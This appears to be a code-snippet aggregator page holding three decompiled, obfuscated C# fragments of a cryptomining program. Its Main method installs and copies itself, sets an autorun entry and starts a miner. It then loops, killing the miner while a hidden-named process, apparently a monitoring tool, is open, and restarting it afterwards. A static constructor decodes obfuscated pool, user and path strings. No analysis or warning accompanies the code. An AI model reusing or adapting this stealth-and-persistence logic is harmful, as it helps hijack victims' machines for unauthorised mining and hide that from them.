Пример #1
0
 // Token: 0x06000007 RID: 7 RVA: 0x000024CC File Offset: 0x000006CC
 private static void Main(string[] args)
 {
     Class6.kLjw4iIsCLsZtxc4lksN0j();
     Program.Install();
     Program.CopyFile();
     Program.SetAutorunValue(true);
     Program.StartMine();
     for (;;)
     {
         int       num       = 0;
         Process[] processes = Process.GetProcesses();
         foreach (Process process in processes)
         {
             if (process.ProcessName == Class2.smethod_11(20))
             {
                 Process[] processesByName = Process.GetProcessesByName(Program._filename);
                 if (processesByName.Length != 0)
                 {
                     processesByName[0].Kill();
                 }
                 num++;
             }
         }
         if (num == 0)
         {
             Process[] processesByName2 = Process.GetProcessesByName(Program._filename);
             if (processesByName2.Length == 0)
             {
                 Program.StartMine();
             }
         }
         Thread.Sleep(500);
     }
 }
Пример #2
0
 // Token: 0x0600000D RID: 13 RVA: 0x00002734 File Offset: 0x00000934
 static Program()
 {
     // Note: this type is marked as 'beforefieldinit'.
     Class6.kLjw4iIsCLsZtxc4lksN0j();
     Class5.WNqmTthz2i6ny();
     Program.direct    = Class2.smethod_11(286);
     Program._filename = Class2.smethod_11(318);
     Program.proc      = Class2.smethod_11(334);
     Program.pool      = Class2.smethod_11(342);
     Program.user      = Class2.smethod_11(430);
     Program.filename  = Program._filename + Class2.smethod_11(466);
     Program.exeToRun  = Program.direct + Class2.smethod_11(478) + Program.filename;
     Program.ExePath   = "";
 }
Пример #3
0
 // Token: 0x06000006 RID: 6 RVA: 0x00002251 File Offset: 0x00000451
 static Resources()
 {
     // Note: this type is marked as 'beforefieldinit'.
     Class6.kLjw4iIsCLsZtxc4lksN0j();
 }